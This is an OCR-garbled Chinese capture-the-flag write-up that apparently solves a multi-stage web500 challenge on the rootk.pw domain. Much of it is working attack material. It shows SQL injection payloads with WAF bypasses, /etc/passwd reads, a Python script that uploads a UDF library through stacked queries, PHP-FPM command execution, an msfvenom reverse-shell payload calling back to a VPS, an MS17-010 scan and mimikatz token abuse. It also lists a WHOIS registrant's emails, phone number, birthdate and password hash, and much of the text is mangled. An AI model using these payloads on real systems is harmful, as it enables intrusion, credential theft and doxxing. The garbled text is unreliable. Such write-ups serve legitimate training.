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IP. 4. X#HASH(MDS/SHA1/SHA256)
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EBMER PSR FiE4 Whois B=FIEH BIRSHT
YETEME

EMRE Zhou Long Pi (1E&354 0 1)
SEAA Zhou Long Pi

HBFE vampair@rootk.pw (HHX34 0 1Y)
ik

1% +86.13735263745

SEfREE 2017-03-20 00:00:00

S HARE 2018-03-20 00:00:00

EAAE 2017-03-21 00:00:00

e REE Xin Net Technology Corp.

HERSEE f1g1ns2.dnspod.net; fig1ns1.dnspod.net

MEFE: vampair@rootk.pw

FMA: zZhou Long Pi

iRt

BESRE IXREIIBAE, ATLUBERRIEMEH: mail.rootk.pw, SRMATUA -LZRLRWBTAARHE —T.
HITEFR —Fvanpai ri XKL T, AE5FEHARTHE, TABRI%EEN19840810
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vampair@eyou.com Nrdsdhd [mop]
FEC 4621522 vampair@126.com [tianya]
JE/REAIFE 19840810 vampair@gmail.com [tianya]

vampair 327218 www.sohu@monkey.com [tianya]

IR 52 —1HE 86cb49ef9709d81c5a70db67062bec00 929253456@qq.com vampair [shengda]

HpE NI+ 58FR, http://dns-manage.rootk.pw:8080/index.php
it manager@rootk.pw RIEH



& C' ® mail.rootk.pw,

PN T ot Fowy TPt = Th=-p TTIRgeT T 1t il 5 =m =0 TRFRET. . TEA

(CHEZEENG RS '

Hello, B2 M7 [vampair@rootk.pw] 2017-05-26 [;E$4]

#WHFE(7) BEA: ITEHE [it_manager@rootk.pw]

[1] Eﬁ“ﬁ?i‘ﬂ%ﬁ BffE: 2017-3-20

[2] BEMKS--ZkkRIPIIIE B2, IEHRSREETLSS FEE, }EEEQE’E}%EE&%&E*E?&E—'FHE, MERARIMECHIDNSEERRS
[3] I IJ {‘ http://dns-manage.rootk.pw:8080/index.php

ozl
[ 4] BMEH & T WS HIBMIE, BERARILT, MESMESSE EEmE—TE,
Dl .

[5] #E=EBE

[6] fllESEEMNE EIS:

[7] AE)EBRRENT 17, RELE—T

FHEE
2\

FEA T BEcdn, XANMEHEASREEKIP

~13m@n@13mdndeMacBook-Pro ~
“$ dig www.rootk.pw

; <<>> D1G 9.8.3-P1 <<>> www.rootk.pw
;3 global options: +cmd
; Got answer:
; —>>HEADER<<- opcode: QUERY, status: NOERROR, id: 63951
; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: @, ADDITIONAL: @

; QUESTION SECTION:
;www . rootk. pw.

;5 ANSWER SECTION:

www . rootk. pw. 599 IN CNAME  www.rootk.pw.cname.yunjiasu-cdn.net.
www . rootk.pw. cname.yunjiasu-cdn.net. 299 IN A 162.159.210.12

www . rootk.pw.cname.yunjiasu-cdn.net. 299 IN A  162.159.211.12

;3 Query time: 420 msec

;5 SERVER: 8.8.8.8#53(8.8.8.8)

;5 WHEN: Sat May 27 01:41:09 2017
i3 MSG SIZE rcvd: 111

FHEmAEY SHREREEMRAA: bttp://www.rootk.pw/single.php?id=2
FiAcdn, LBEERIELZpHIE, F— FRIEKmailR4 Kip, &S atipL A KLip, BikhostsiR g
By — T FuRE% T K. XHERSE T BERcdn

ATDMBRM M RAEEN, Kbl T2, FRANIFERTELSE: http://Iwww.rootk.pw/single.php?
id=2%27-%271
BN R B R IFELIEAR: http://www.rootk.pw/single.php?id=2%27-%271%27;select//1;

A N 3R B -
BaEESR. RE. TR



BEEA

http://www.rootk.pw/single.php?id=0"'union/**/select/**/1, (select/**/SCHEMA_NAME/**/from/**/information_sche
movie® 4 :

http://www.rootk.pw/single.php?id=0"'union/**/select/**/1, (select/**/table_name/**/from/**/information_schem
movieR K FE:

http://www.rootk.pw/single.php?id=0"'union/**/select/**/1, (select/**/COLUMN_NAME/**/from/**/information_sche

- movie
+ movie
- content
- name
- id
- temp
+ temp
- content
- id
ek BT AR 35 e AR

1. http://www.rootk.pw/single.php?id=0"'/**/union/**/select/**/1,user();

iamroot@10.10.10.128
iamroot, RARERArootBR, FIMURESSE, ps: BT root R, BilLHiR

2. http://www.rootk.pw/single.php?id=0"'/**/union/**/select/**/1,1load_file('/etc/passwd');
BEFILEAIR, ATLLEERSH X, (@@secure_file_privEENZ)
http://www.rootk.pw/single.php?id=0"'union/**/select/**/1, 'lemonlemon'/**/into/**/outfile/**/'/tmp/lemon.txt

A PLBSHIE— T 2 5 R Th i
http://www.rootk.pw/single.php?id=0"'union/**/select/**/1, (load_file('/tmp/lemon.txt"));

—MinuxF BJmysql##ErootfiE AN R ? ATRAFA4 2 AT LR iKudf, HRBEMNRERFEEZS, FANEER
RENLFHIRIEXAmysql i) B FARITIF (BRINR TR A H)

3. http://www.rootk.pw/single.php?id=0'union/**/select/**/1, (select/**/@@plugin_dir);

/usr/1ib64/mysql/plugin/



4. insert/update/delete#fi# 1 &
(& Load URL http://www.rootk.pw/single.php?id=0';insert;
% split URL
’ Execute

~ Enable Postdata  Enable Referrer

SycMovieWaf: What are you doing?

ARXFEREHTLGE, FAmMysqiIEH, XEEEAInsert AL 5T

SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C5545532028276161616127

HF1Ox494E5345525420494E544F 206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C2761
RS L INSERT INTO movie (name, content) VALUES ('aaaa','aaaa')

HoH—/MempHiEFE 4, BEAEBinsertid 254k
PS: TR, A#edelete. update, Hetinsert, HFRE:

mysql> show grants for iamroot@l0.10.16.128;

| GRANT CREATE, FILE, CREATE ROUTINE ON *.* TO ‘iamroot’'@'10.10.10.128"

|
| GRANT SELECT, REFERENCES, INDEX, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, EVENT ON ‘movi
e .* TO 'iamroot'@'10.10.10.128"
| GRANT SELECT, INSERT, REFERENCES, INDEX, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, EVENT
ON “temp .* TO 'iamroot'@'10.10.10.128" |
| GRANT INSERT ON "mysgl’ .* TO 'iamroot'@'10.10.10.128"

4 rows in set (0.80 sec)

http://www.rootk.pw/single.php?id=1"';SET/**/@SQL=0x494e5345525420494e544f2074656d702e74656d702028636F6e7465
fEF: INSERT INTO temp.temp (content) VALUES ('lemontest')
BF 2 75 46 N B0 BT«

http://www.rootk.pw/single.php?id=0"'union/**/select/**/1, (select/**/content/**/from/**/temp.temp);

LR G EPBIT R AL
XBUIFBEERNE, RARENSE, 255 HICan't open shared library%% i

http://www.rootk.pw/single.php?id=0"union/**/select/**/1, (load_file('/etc/issue'));

Cent0S release 6.9 (Final) Kernel \r on an \m

A LA #—~centos 6.9, A5 H CEF4wiGudf.so, sqlmapijudf.sodllif2 k.



BRNIX & Bl AR 25 28 R AN R B I, BT DA BAe S0, R BB X MEARRE, HERulKKERFRK,
FrlliE ®E S JLRE .

AILAF#H —/Ncentos 6.9, A/FHCEHMBudf.so, sqlmapfudf. solllif2 KM,

H X & SR FE RS 3R RANMRE R, FrUl bescfE, AR RXMENARS, HRurlMKERARK, FIUERFESILKE.

BT oetiBREBA KERBIH, FrUSRARKNBHEAZRE . §—MEE EE—TEL162EHIL)E KT .

import binascii
import requests
import re

# String len
c = 500
with open('udff.txt') as f:
for s in f:
content = [s[i:i+c] for i in xrange(®,len(s),c)]

regx = '<p class="m_4">(.*?)<\/p>"
flag = 1
id_arr = []

for data in content:

# insert content
if flag:
expp = "INSERT INTO temp.temp (content) VALUES ('%s')" % data
url2 = "http://www.rootk.pw/single.php?id=0"'union/**/select/**/1, (select/**/id/**/from/**/temp.temp/**/
else:
expp = "INSERT INTO temp.temp (content) VALUES (CONCAT((SELECT * from (select content as b from temp.te
url2 = "http://www.rootk.pw/single.php?id=0"'union/**/select/**/1, (select/**/id/**/from/**/temp.temp/**/
print url2
exp = binascii.b2a_hex(expp)

url = "http://www.rootk.pw/single.php?id=1";SET/**/@SQL=0x%s ; PREPARE/**/pord/**/FROM/**/@SQL ; EXECUTE/**/p
requests.get(url)

# select id

rl = requests.get(url2)
m = re.search(regx,rl.content)

if m.group(1):
temp_id = m.group(1)
id_arr.append(m.group(1))
else:
print 'Error.’'
flag = @
print id_arr

ATLAUR IR B 3 T —Mools B 3, 52 B B 1 B 4



http://www.rootk.pw/single.php?id=0"'union/**/select/**/1,1load_file('/tools/admin_log-manage.py');

PN YIRS S I=H
# Author: it_manager@rootk.pw
dnsH )5 &K P %D
data = {
'user' : 'helloo',
'pass’ 'syclover'
}
password = "it_manager@123@456"
to_addr = "it_manager@rootk.pw"
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Hello, FBf [it_manager 27 [FHH]
#L&f¢$ﬁ(5) RIEANT BN [vampair@rootk.pw]
[1] ﬁ%q:%RE AffEl: 2017-03-22
[2] VSO RT! TH, RELSFUSEHENERL, BE—T. (
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[4] AEIFNLSHRERL foud
/
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/
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& C  ® dns-manage.rootk.pw:8080/main.php#
B et B oo, dmopria. by et ey Erapes By Bmace. o Cawer oo

# Setting

Logout

bk P RS

admin_log.rootk.pw AN 18..08.196

‘vpsip| g  EE

XFERATA O AR AT Mk SUNBRATTHIVPS, R TG vpstil— /N R i BX AN R SR AR %5 2% 1ip, IXHERLEEATHY
1, vps LHE M —THE.

BAEFEF B DR —T
./ew_for_linux64 -s lcx_tran -1 80 -f #Hlip -g 8@

REIM—THRE
tcpdump tcp -i ethl -t -s @ -w ./test.cap

| | tep.stream eq 5 [= RIE == S
No. Time Source Destination Protocol  Length Info
- 58 19.108967 115.29.36.83 222.18.158.196 TCP 74 59854 -+ 8@ [SYN] Seq=8 Win=14600 Len=0 MS5=1468 SACK_PERM=1 TSval=547430477 TSecr=8 WS=564
59 19.151842 222.18.158.196 115.29.36.83 TCP 7@ 88 + 59854 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=@ MS5-146@ SACK_PERM=1 TSval=21745962 TSecr=54743@477
6@ 19.151898 115.29.36.83 222.18.158.196 TCcP 66 59854 -+ 8@ [ACK] Seq=1 Ack=1 Win=146@@ Len=8 TSval=547430527 TSecr=21745962
61 19.152812 115.29.36.83 222.18.158.196 HTTP 266 POST /index.php HTTP/1.1
63 19.480218 222.18.158.196 115.29.36.83 TCcP 66 88 + 59854 [ACK] Seq=1 Ack=201 Win=65168 Len=0 TSval=21745987 TSecr=547430528
64 19.408307 115.29.36.83 222.18.158.196 TCP 186 [TCP segment of a reassembled PDU]
65 19.455581 222.18.158.196 115.29.36.83 HTTP 1514 HTTP/1.1 288 OK (text/html)
66 19.4557@2 222.18.158.196 115.29.36.83 TcP 1514 8@ + 59854 [ACK] Seq=1449 Ack=241 Win=65120 Len=1448 TSval=21745992 TSecr=5474308776
67 19.455729 115.29.36.83 222.18.158.196 TP 66 59854 + 8@ [ACK] Seq=241 Ack=1449 Len=@ TSval=54743@831 TSecr=21745992
68 19. 745 115.29.36.83 222.18.158.196 TcP 66 59854 + 8@ [ACK] Seq=241 Ack=2897 Len=8 TSval=547438831 TSecr=21745992
69 19.506667 222.18.158.196 115.29.36.83 HTTP 1514 Continuation
78 19.5086803 115.29.36.83 222.18.158.196 TcP 66 59854 + 3@ [ACK] Seq=241 Ack=4345 Len=8 TSval=547438882 TSecr=21745997
71 19.506819 222.18.158.196 115.29.36.83 Tcp 1514 8@ -+ 59854 [ACK] Seq=4345 Ack=241 Len=1448 TSval=21745997 TSecr=54743@831
72 19.506839 115.29.36.83 222.18.158.196 TcP 66 59854 -+ 8@ [ACK] Seq=241 Ack=5793 Win=26@64 Len=0@ TSval=54743@882 TSecr=21745997
73 19.506861 222.18.158.196 115.29.36.83 Tcp 618 8@ + 59854 [FIN, PSH, ACK] Seq=5793 Ack=241 Win=65128 Len=552 TSval=21745997 TSecr=547438831
74 19.506989 115.29.36.83 222.18.158.196 TcP 66 59854 + 8@ [FIN, ACK] Seq=241 Ack=6346 Win=2896@ Len=@ TSval=5474308883 TSecr=21745997
L 75 19.557734 222.18.158.196 115.29.36.83 TCP 66 88 -+ 59854 [ACK] Seq=6346 Ack=242 Win=65128 Len=@ TSval=21746@82 TSecr=547438883
A BB TCP i (tep.st q5) - test
POST /index.php HTTP/1.1 E
Accept-Encoding: identity
Content-Length: 48
Host: admin_log.rootk.pw
Content-Type: application/x-www-form-urlencoeded
Connection: close =
User-Agent: Python-urllib/2.6 b
l user=sychovieAdmin&pass=H7e27PQaHQ8UefgjHTTP/1.1 200 OK )
Server: nginx/1.18.3 (Ubuntu) =
Date: Sat, 27 May 2017 18:32:82 GMT —|
Content-Type: text/html; charset=UTF-8 ‘E
Content-Length: 5955
Connection: close
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=ukrStlmleo7egetjplgadb75q6; path=/
Expires: Thu, 19 Nov 1981 ©8:52:80 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=e
Pragma: no-cache
<scriptralert (" [EEEGRENESEETTN! ') swindow. location. href="main.php";</script>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible” content="IE=edge,chrome=1"> i
<meta name="viewport" content="width=device-width, initial-scale=1.8">
CELELO> et eeteaer e aeneaaneaanenannans </title> || srim:82- B2 17(20.7%) * tadkedio: 0:0.15 || m=i: efauit

R R
user=sycMovieAdmin
pass=H7e27PQaHQ8Uefgj

B 5T OR1E E —Mlag: SYC{2b1bd3f62cc75da2bc14ach431e054a0}
http://admin_log.rootk.pw/main.php

REAFRR: REERH—Mag, 5 T RIE 2 A ZEERRAIE!



REE—T, HElRCLERNSMMIEE R mysql3dE E RS2 10— A mysqli SR shell. B4R, BTbAG
FEHEETH LA R R #Hshellz %

LA L RarpR, SEXTip#t AT IR AT AW .

TH TR TEKFESQIENS N .

10.10.10.200/77£9000%% 1, B PAphp-fomAR$Z AL 14l

python fpm.py 10.10.10.200 /usr/share/pear/PEAR.php -c '<?php system("id");?>"'

XERERBYIRBISMN, BTUART LR #shellE>E. #A10.10.10.200/k%5-3 ! N T HEEHKEBE, L—Amsf

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=vpsip LPORT=port -f elf > shell.elf

meterpreter > sysinfo

Computer

0s
Architecture
Meterpreter

L]
L]
L]
L]
L]
L]
L]
L]

localhost.localdomain

Cent0S 6.9 [(Linux 2.6.32-696.el16.x86_64)
x64

Xx64 /1linux

meterpreter > ifconfig

Interface

Hardware MAC
MTU

Flags

IPv4 Address
IPv4 Netmask
IPv6 Address
IPv6 Netmask

Interface

Hardware MAC
MTU

Flags

IPv4 Address
IPv4 Netmask
IPv6 Address
IPv6 Netmask

L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]

LR ] LR ] LR ] LR ] LR ] LR ] LR ] LR ]

lo

00:00:00:00:00:00

65536

UP, LOOPBACK

127.0.0.1

255.0.0.0

- |
frff:ffff:ffff:ffff:ffff:ffff::

eth2

P0:0c:29:7a:10:3b

1500

UP,BROADCAST ,MULTICAST
192.168.56.151
255.255.255.0
feBO::20c:29ff:fe7a:103b
frff:ffff:ffff:ffff::




Interface

ethl
Hardware MAC 00:0c:29:7a:10:45
MTU 1500
Flags UP,BROADCAST ,MULTICAST

IPv4 Address 10.10.10.200

IPv4 Netmask

IPv6 Address feBO::20c:29ff:fe7a:1045
IPv6 Netmask frff:ffff:ffff:ffff::

meterpreter > [

MBTHKRINERE, 10BMRSB[/EALFT T, RERIBHITEIE.
farfirPS: 10.10.10.250#110.10.9.250 A2 BF H14%, ARAEE —FREHAR 7 M, 7IEEILRA .

run autoroute -s 10.10.9.0

RBGE KB EH—K

use auxiliary/scanner/smb/smb_ms17_010

auxiliary( ) = exploit

Scanned 27 of 256 hosts (10% complete)

Scanned 56 of 256 hosts (21% complete)

Scanned 77 of 256 hosts (30% complete)

Scanned 105 of 256 hosts (41% complete)

Scanned 128 of 256 hosts (50% complete)

10.10.9.130:445 - Host does NOT appear vulnerable.
Scanned 154 of 256 hosts (60% complete)

Scanned 183 of 256 hosts (71% complete)

Scanned 207 of 256 hosts (80% complete)

Scanned 231 of 256 hosts (90% complete)

10.10.9.230:445 - Host is likely VULNERABLE to MS17-010! (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
Scanned 256 of 256 hosts (100% complete)

Auxiliary module execution completed

auxiliary( ) > show options

h % % + * * % ¥
[~y et ot ot bt et e

Elmaallel]

Module options (auxiliary/scanner/smb/smb_ms17_010):

NELE] Current Setting Required Description

RHOSTS 10.10.9.0/24 target address range or CIDR identifier
RPORT 445 yes SMB service port (TCP)

SMBDomain . no Windows domain to use for authentication
SMBPass no password for the specified username
SMBUser no username to authenticate as

THREADS yes number of concurrent threads

msf auxiliary(



EHEANZHRRITHEEZZ FEHNF-TEERM2EMR ] LEflag.

mimikatz # service::+
‘'mimikatzsvc’ service not present
‘mimikatzsvc’ service successfully registered
‘'mimikatzsvc’ service ACL to everyone
‘'mimikatzsvc’ service started

rpc::connect
(hull)
: ncacn_ip_tcp
: {null)
: (null)
. GSS_NEGOTIATE
© ho
Algorithm: CALG_3DES (00006603)
ndpoint resolution 1s OK
mimikatz i1s bound!

mimikatz # =token: :run fuser:lemonl?3 /process:”"cmd /c dir \\tsclienthc”

Token Id : B
User name : lemonl?3

SID name

2956 {0:000c1543} 1 L /96541 HIN-AQGFMBG2RI2\1emonl23
—109121395-2408168611-1102412565-16007 (12g,05p) Primary
\itsclienthe
ACBB-B43D

\isclienthc

2017/05/26 22:36 37 flag. tut

2009/07/14 11:20 <DIR> PerflLogs
2017/05/23 15:50 <DIR> Program Files
2017/065/23 0450 <DIR> Program Files (x86)
2017/05/22 21:07 <DIR> Users

2017/85/23 15:59 <DIR> Windows

1 37
2 31,193,718,592

ISb
o BRI mysql, rootlk F By i, BREGYURFHIZ, AT EREREZRI.

3, F :https://www.cnblogs.com/iamstudy/articles/13th_cuit_game web500 wp.html
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